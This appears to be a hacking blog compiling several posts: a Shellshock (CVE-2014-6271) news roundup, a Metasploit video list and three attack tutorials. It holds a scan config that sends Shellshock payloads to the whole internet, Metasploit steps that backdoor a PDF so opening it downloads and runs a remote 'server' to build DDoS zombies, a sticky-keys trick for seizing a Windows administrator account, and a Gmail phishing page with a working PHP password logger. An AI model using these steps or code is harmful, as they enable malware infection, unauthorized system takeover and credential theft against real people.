Shell Shock' bug blasts for OS X, Linux systems wide open #Infosec #Security #ShellShock #BashBug

By now, you may have heard about CVE-2014-6271, also known as the "bash bug", or even "Shell Shock", depending on where you get your news. This vulnerability was discovered by Stephane Chazelas of Akamai and is potentially a big deal.  It’s rated the maximum CVSS score of 10 for impact and ease of exploitability. The affected software, Bash (the Bourne Again SHell), is present on most Linux, BSD, and Unix-like systems, including Mac OS X. New packages were released today, but further investigation made it clear that the patched version may still be exploitable, and at the very least can be crashed due to a null pointer exception. The incomplete fix is being tracked as CVE-2014-7169.

Should I panic?

The vulnerability looks pretty awful at first glance, but most systems with Bash installed will NOT be remotely exploitable as a result of this issue. In order to exploit this flaw, an attacker would need the ability to send a malicious environment variable to a program interacting with the network and this program would have to be implemented in Bash, or spawn a sub-command using Bash. The Red Hat blog post goes into detail on the conditions required for a remote attack. The most commonly exposed vector is likely going to be legacy web applications that use the standard CGI implementation. On multi-user systems, setuid applications that spawn "safe" commands on behalf of the user may also be subverted using this flaw. Successful exploitation of this vulnerability would allow an attacker to execute arbitrary system commands at a privilege level equivalent to the affected process.

What is vulnerable?

This attack revolves around Bash itself, and not a particular application, so the paths to exploitation are complex and varied. So far, the Metasploit team has been focusing on the web-based vectors since those seem to be the most likely avenues of attack. Standard CGI applications accept a number of parameters from the user, including the browser's user agent string, and store these in the process environment before executing the application. A CGI application that is written in Bash or calls system() or popen() is likely to be vulnerable, assuming that the default shell is Bash.

Secure Shell (SSH) will also happily pass arbitrary environment variables to Bash, but this vector is only relevant when the attacker has valid SSH credentials, but is restricted to a limited environment or a specific command. The SSH vector is likely to affect source code management systems and the administrative command-line consoles of various network appliances (virtual or otherwise).

There are likely many other vectors (DHCP client scripts, etc), but they will depend on whether the default shell is Bash or an alternative such as Dash, Zsh, Ash, or Busybox, which are not affected by this issue.

Modern web frameworks are generally not going to be affected. Simpler web interfaces, like those you find on routers, switches, industrial control systems, and other network devices are unlikely to be affected either, as they either run proprietary operating systems, or they use Busybox or Ash as their default shell in order to conserve memory. A quick review of a approximately 50 firmware images from a variety of enterprise, industrial, and consumer devices turned up no instances where Bash was included in the filesystem. By contrast, a cursory review of a handful of virtual appliances had a 100% hit rate, but the web applications were not vulnerable due to how the web server was configured. As a counter-point, Digital Bond believes that quite a few ICS and SCADA systems include the vulnerable version of Bash, as outlined in their blog post. Robert Graham of Errata Security believes there is potential for a worm after he identified a few thousand vulnerable systems using Masscan. The esteemed Michal Zalewski also weighed in on the potential impact of this issue.

In summary, there just isn't enough information available to predict how many systems are potentially exploitable today.

The two most likely situations where this vulnerability will be exploited in the wild:

    1) Diagnostic CGI scripts that are written in Bash or call out to system() where Bash is the default shell
   2)  PHP applications running in CGI mode that call out to system() and where Bash is the default shell

Bottom line: This bug is going to affect an unknowable number of products and systems, but the conditions to exploit it are fairly uncommon for remote exploitation.

Update: A DDoS bot that exploits this issue has already been found in the wild by @yinettesys

Is it as bad as Heartbleed?

There has been a great deal of debate on this in the community, and we’re not keen to jump on the “Heartbleed 2.0” bandwagon. The conclusion we reached is that some factors are worse, but the overall picture is less dire. This vulnerability enables attackers to not just steal confidential information as with Heartbleed, but also to take over the device or system and execute code remotely. From what we can tell, the vulnerability is most likely to affect a lot of systems, but it isn't clear which ones, or how difficult those systems will be to patch. The vulnerability is also incredibly easy to exploit. Put that together and you are looking at a lot of confusion and the potential for large-scale attacks.

BUT – and that’s a big but – per the above, there are a number of factors that need to be in play for a target to be susceptible to attack. Every affected application may be exploitable through a slightly different vector or have different requirements to reach the vulnerable code. This may significantly limit how widespread attacks will be in the wild. Heartbleed was much easier to conclusively test and the impact way more widespread.



How can you protect yourself?

The most straightforward answer is to deploy the patches that have been released as soon as possible. Even though CVE-2014-6271 is not a complete fix, the patched packages are more complicated to exploit. We expect to see new packages arrive to address CVE-2014-7169 in the near future. If you have systems that cannot be patched (for example systems that are End-of-Life), it’s critical that they are protected behind a firewall. A big one. And test whether that firewall is secure.

What can we do to help?



Rapid7's Nexpose and Metasploit products have been updated to assist with the detection and verification of these issues. Nexpose has been updated to check for CVE-2014-6271 via credentialed scans and will be updated again soon to cover the new packages released for CVE-2014-7169.  Metasploit added a module to the framework a few hours ago and it will become available in both Metasploit Community and Metasploit Pro in our weekly update. We strongly recommend that you test your systems as soon as possible and deploy any necessary mitigations. If you would like some advice on how to handle this situation, our Services team can help

Update

 A bug discovered in the widely used Bash command interpreter poses a critical security risk to Unix and Linux systems – and, thanks to their ubiquity, the internet at large.

It lands countless websites, servers, PCs, OS X Macs, various home routers, and more, in danger of hijacking by hackers.

The vulnerability is present in Bash up to and including version 4.3, and was discovered by Stephane Chazelas. It puts Apache web servers, in particular, at risk of compromise: CGI scripts that use or invoke Bash in any way – including any child processes spawned by the scripts – are vulnerable to remote-code injection. OpenSSH and some DHCP clients are also affected on machines that use Bash.

Ubuntu and other Debian-derived systems that use Dash exclusively are not at risk – Dash isn't vulnerable, but busted versions of Bash may well be present on the systems anyway. It's essential you check the shell interpreters you're using, and any Bash packages you have installed, and patch if necessary.

"Holy cow. There are a lot of .mil and .gov sites that are going to get owned," security expert Kenn White said on Wednesday in reaction to the disclosed flaw.

The 22-year-old bug, dating back to version 1.13, lies in Bash's handling of environment variables: when assigning a function to a variable, trailing code in the function definition will be executed, leaving the door wide open for code-injection attacks. The vulnerability is exploitable remotely if code can be smuggled into environment variables sent over the network – and it's surprisingly easy to do so.

According to the NIST vulnerability database, which rates the flaw 10 out of 10 in terms of severity:

    GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

    Authentication: Not required to exploit

    Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

An advisory from Akamai explains the problem in more depth, as does this OSS-Sec mailing list post.

Proof-of-concept code for exploiting Bash-using CGI scripts to run code with the same privileges as the web server is already floating around the web. A simple Wget fetch can trigger the bug on a vulnerable system.

A nasty bug in many of the world’s Linux and Unix operating systems could allow malicious hackers to create a computer worm that wreaks havoc on machines across the globe, security experts say.

The flaw, called Shellshock, is being compared to last spring’s Heartbleed bug because it lets attackers do some nasty stuff—in this case, run unauthorized code—on a large number of Linux computer servers. The flaw lies in Bash, a standard Unix program that’s used to connect with the computer’s operating system.

The good news is that it doesn’t take long to patch the bug. At internet infrastructure provider CloudFlare, admins scrambled for about an hour this morning to fix the flaw, which was disclosed late on Tuesday. “We got 95 percent of it done within 10 minutes,” says Ryan Lackey a security engineer at the company.

The flaw is being compared to last spring’s Heartbleed bug because it lets attackers do some nasty stuff on a large number of Linux servers

Because Shellshock is easy to exploit—it only takes about three lines of code to attack a vulnerable server—Lackey and other security experts think there’s a pretty good chance that someone will write a worm code that will jump from vulnerable system to vulnerable system, creating hassles for the world’s system administrators. “People are already exploiting it in the wild manually, so a worm is a natural outgrowth of that,” Lackey says.

To exploit the bug, the bad guys need to connect to software such as PHP or DHCP—which use bash to launch programs within the server’s operating system

I'm at the Virus Bulletin 2014 Conference, taking bets on when we'll see a worm exploiting the #Shellshock bash bug.

— Mikko Hypponen (@mikko) September 25, 2014

There are still some important questions about the bug. One is whether other operating systems that use Bash—Mac OS, for example—are vulnerable. Another big one: how many linux server applications and appliance-like Linux devices—things like storage servers or video recording devices—might be vulnerable to the flaw. Many of these Linux systems to not use the Bash software, but those that do could be vulnerable to attack and difficult to patch.

In the grand scheme of things, Shellshock is not as big of a problem as, say, phishing attacks, which continue to trick internet users, says Robert Graham, CEO of Errata Security. However, it’s “slightly worse then Heartbleed,” he says. “It’s in more systems. It’s going to be harder to track them down and patch them, and you can immediately exploit it with remote code execution.” Heartbleed let criminals steal your username and passwords, but it didn’t make it quite so easy to run your own malicious software on a vulnerable system, Graham says.

Like Heartbleed, the new bug has been around for a long time, and was introduced in a widely used piece of open source software. In the wake of Heartbleed, the open source community came up with some money to beef up the security of several popular open-source tools. And it may be time to add a few more—including Bash— to that list.

Exploiting the BUG

This article has a nice example of exploiting this bug:

Exploiting the Bug

By creating a HTTP request like this:


Code[select]

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

The attacker is able to (in this situation) have the target ping a 
specific IP. Imagine many targets doing this simultaneously to perform a 

DDOS attack as seen in the post below:
 

</DDOS>

-Article Credited to Various Sources-

Metasploit Framework Expert #Metasploit #Hacking #Infosec #Vulnearbility #Exploit #Overflow #Pentesting

Metasploit is?

It is an open source penetration testing framework, used for developing and executing attacks against target systems. It has a huge database of exploits, also it can be used to write our own 0-day exploits.

Hacking through Metasploit is done in 3 simple steps: Point, Click, Own.

Before I go into the details of The Metasploit Framework, let me give you a little idea of some basic terms (may seem boring at first, but you must be knowing them)

Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.

Exploit: A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.

Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.

Payload: Actual code which runs on the compromised system after exploitation

A non-exhaustive list of topics on the tutorial videos includes:

•Metasploit Basics and Framework Organization
•Server and Client Side Exploitation
•Meterpreter - Extensions and Scripting
•Database Integration and Automated Exploitation
•Post Exploitation Kung-Fu - Exploring the system, Privilege escalation, Log deletion and AV / Firewall bypass
•Token stealing and impersonation, Backdoors and Rootkits, Pivoting and Port forwarding, Railgun and Custom Scripting, Backdoor an Executable
•Ruby Primer for Hackers
•Writing Metasploit Modules - Auxiliary and Exploit
•Exploit research with Metasploit- Buffer Overlows, SEH, DEP Bypass, Return Oriented Programming
•Social Engineering Toolkit (SET) and Armitage
•Scenario Based Hacking using Metasploit
 

TUTORIAL VIDEOS ARE ABSOLUTELY FREE.

 The advantages about this video tutorials is that they explain Metaspoilt into details; and you can learn at your own pace in each step; no hurries-Click On Your Desirable topics-(In Bracket)

1. Metasploit Framework Expert Part 1 (Exploitation Basics)
2. Metasploit Framework Expert Part 2 ( Why Metasploit? )
3.  Metasploit Framework Expert Part 3 ( Meterpreter Basics )
4.  Metasploit Framework Expert Part 4 (Framework Organization)
5.  Metasploit Framework Expert Part 5 (Post Exploitation Kung-Fu)
6.  Metasploit Framework Expert Part 6 (Post Exploitation Privilege Escalation)
7.  Metasploit Framework Expert Part 7 (Killing Av And Disabling Firewall)
8.  Metasploit Framework Expert Part 8 (Stdapi And Priv Extensions)
9. Metasploit Framework Expert Part 9 (Token Stealing And Incognito)
10. Metasploit Framework Expert Part 10 (Espia And Sniffer Extensions In Post Exploitation)
11.  Metasploit Framework Expert Part 11 (Post Exploitation Backdoors)
12.  Metasploit Framework Expert Part 12 (Pivoting After Post Exploitation)
13.  Metasploit Framework Expert Part 13 (Port Forwarding As Part Of Post Exploitation)
14. Metasploit Framework Expert Part 14 (Client Side Exploits)
15.  Metasploit Framework Expert Part 15 (Backdoors And Rootkits In Post Exploitation)
16.  Metasploit Framework Expert Part 16 (Exploit Research With Metasploit)
17.  Metasploit Framework Expert Part 17 (Railgun Basics)
18. Metasploit Framework Expert Part 18 (Railgun Adding Functions)
19.  Metasploit Framework Expert Part 19 (Railgun Adding New Dlls)
20.  Metasploit Framework Expert Part 19A (Railgun Adding New Dlls On Windows 7)
21. Metasploit Framework Expert Part 20 (Resource Scripts)
22.  Metasploit Framework Expert Part 21 (Database Support)
23. Metasploit Framework Expert Part 22 (Using Plugins)
24.  Metasploit Framework Expert Part 23 (Meterpreter Api Basics)
25.  Metasploit Framework Expert Part 24 (Meterpreter Scripting Migrate Clone)
26. Metasploit Framework Expert Part 25 (Meterpreter Scripting Process Name Search)

Tools website-Click H3R3

Sorry Guys but I just need 15 Seconds from you guys-create some cash flow that will keep my hobbie of blogging about Infosec, Hacking,Techie Stuff running-
You already know the drill: if you're stuck or puzzled just check out the pictures below
 Skip Ad's where you  click to after 5 Seconds-Thanks Again For Visiting :)

Backdoor PDF #Hacker #Hacking #Exploit #Hacker #Pdf #Backdoor

This tutorial will guide you how to backdoor a PDF. What this basically does is that it will download your server when someone opens your PDF file I am not responsible for what you use this guide for *Giggling* {Try not to infect the entire PDF files on the Internet,some of us love reading} *Smirking*

Tutorial:

Requirements:

-Metasploit, 

-A PDF eBook 

-And a FUD server. 

Metasploit can be downloaded from HERE

Search the web for free eBooks if you don't have any on your e-library

>>Make your PDF file ready, upload your FUD server to a hosting service which provides direct download links, I would use Dropbox, Mediafire, 4shared, 2shared

>>And make sure that you have installed Metasploit correctly!

Now we will infect the PDF file

1. Open up Metasploit console

2. Type this in the console: use exploit/windows/fileformat/adobe_pdf_embedded_exe

3. Type this in the console: set payload windows/download_exec

4. Type this in console: set INFILENAME <location of your pdf to infect here>

EXAMPLE: set INFILENAME C:/Users/Owner/Desktop/example.pdf

5. Type this in console: set url <direct download link to your fud server>

EXAMPLE: set url http://download.com/server.exe

6. Type this in console: Exploit

Now you have infected your PDF file and you will be ready to send it out, when people open the infected PDF file then it will download your server and *BAM* new slave.

(The infected PDF file will be in the same directory as the original and will be named “evil.pdf”)

-Ok, that's how you get your zombies,..they may come in handy when you decide to execute a distributed denial of service attack- *Chuckles* "Yeah I was never here, when you get caught: you're on your own" That phrase simply means am not responsible for any trouble,complications or holes you fall into during your adventures-  *Flips & Slides*

Hacking Administrator Password Using Guest Account #Hacker #Hacking #Windows

Hacker

A hacker is someone who seeks and exploits weaknesses in a computer system or computer network. Hackers may be motivated by a multitude of reasons, such as profit, protest, or challenge. The subculture that has evolved around hackers is often referred to as the computer underground and is now a known community. While other uses of the word hacker exist that are not related to computer security, such as referring to someone with an advanced understanding of computers and computer networks, they are rarely used in mainstream context. They are subject to the long standing hacker definition controversy about the true meaning of the term hacker. In this controversy, the term hacker is reclaimed by computer programmers who argue that someone breaking into computers is better called a cracker, not making a difference between computer criminals (black hats) and computer security experts (white hats). Some white hat hackers claim that they also deserve the title hacker, and that only black hats should be called crackers.

Hacking Administrator password using guest account

Many of you might be using computers with Guest accounts specially in schools and colleges they restrict you to use administrator account.

And you have to use guest as you don't have the Administrator password!

But after this tutorial you don;t need to ask anyone for getting Administrator password :)

There are 2 methods to get Administrator password. Choose the one which seems more suitable for you.

METHOD 1

1) Go to C:/windows/system32

2) Copy cmd.exe and paste it on desktop

3) Rename cmd.exe to sethc.exe

4) Copy the new sethc.exe to system32 folder, when windows asks for overwriting the file, then click YES

5) Now Log out from your guest account and at the user select window, press shift key 5 times

6) Instead of Sticky Key confirmation dialogue, command prompt with full administrator privileges will open

7) Now type “NET USER ADMINISTRATOR "pass" "where “pass" can be any password you like and press enter You will see “The Command completed successfully" and then exit the command prompt and login into administrator with your new password. You have hacked admin through guest account.

METHOD 2

1. Right-click on “My Computer” icon on the desktop OR in the Start Menu

2. Select the option “Manage”

3. On the left pane expand the “Computer Management (Local) tree"

4. Double click “Local Users and Groups” option. From “System Tools” tree

5. Click the “Users” option

6. Now you will see the list of users on the right side panel, such as Administrator, Guest etc

7. Right click the “Administrator” and select the option “Set Password” option

8. Now you will see a warning message, Click on. proceed

9. Now the system asks you for “New Password” and “Confirm Password”

10. After entering the password click on “OK”. The password is changed.

You have successfully changed the Administrator password.

Enjoy :)

Phishing (For beginners and a revision for elite hackers) #Hacker #Phishing #Infosec

Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the PHP programming. Below I will show a simple example of some of the steps a hacker might take to create a phishing website. By seeing the steps a hacker would take, will help you defend against such an attack.


1. First the hacker chooses a target. The most popular targets for phishing attacks are e-mail services such as Hotmail and Gmail because they are the most common and once a hacker gets access to your e-mail, he also gets access to a load of other user information for all the other websites you use. In this example we will pretend the hacker chose Gmail as his target.


2. After choosing his target, the hacker will go to the website and save the whole main page. I use Mozilla Firefox ,(highly recommend using this browser for its security and customization.) So I would go to www.gmail.com and click File -> Save page as… , or simply hit <CTR> + S which does this automatically. Choose where you would like to save the web page and hit Save.



3. Once you have it saved, rename ServiceLogin.htm to index.htm. The reason you want to name it “index” is so when you upload it to a web host and someone goes to your link, the index page is the first page that shows up.


4. Next the hacker would create a PHP script to do his dirty deed of steeling your information. Below is a simple PHP script that logs and stores your login details when you click “Sign in”. To see how it works, copy and paste the following code into notepad. Next save it into the same directory as you saved the Gmail page, and name it phish.php. In addition to the phish.php page, create a new empty text file and name it list.txt.


Code:



<?php // This marks the beginning of the PHP script.
Header(“Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” in the fake website, this redirects you to the real Gmail website, making the whole process look more legit.
$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it ready for appending data. Which in this case is your username and password.



Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
} // This section simply assigns all the information going through this form to a variable. This includes your username and password.
Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”
fclose($handle); // This simply closes the connection to the file “list.txt”
exit;
?> // Marks the end of the PHP program.



5. Now the hacker would have to edit the main Gmail page to include his PHP script. To see what the hacker would do, open up the main Gmail page named index.htm with notepad.


6. Hit <CTR> + F , or go to Edit -> Find , type in action and hit “Find Next”[size=78%].[/size]

7. This will highlight the first occurrence of the word “action” in the script.There are two “action” occurrences in the script so make sure you have the right one by looking at the “form id” name above. Change the link between action = “ “ to phish.php . This will make the form submit to your PHP phish script instead of to Google.Change the word “POST” to “GET” so that it looks like method=”GET”. What the GET method does is submit the information you type in through the URL so that the PHP script can log it.


8. Save and close the file.


9. Next the hacker would upload the files up to a free webhost that supports PHP. With a simple Google search you can come up with a bunch that fall under this category.


10. Once all the files are uploaded, you must give writing permissions to the “list.txt” file. Every hosting company should have a CHMOD option next to each file. Select this option and change the file permission for “list.txt” to 777. If you can’t figure out how to do this, ask people that use the same host or simply Google something similar to: “yourwebhostname chmod”.



11. Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.
12. Now go take a look at your list.txt file by going through your hosting file manager or going to http://www.yourwebhosturl.com/youraccount/list.txt. Although this is the most common, the web host you use may provide a different looking URL.
As you can see if you fell for this the hacker would have your email and password. Scary, eh?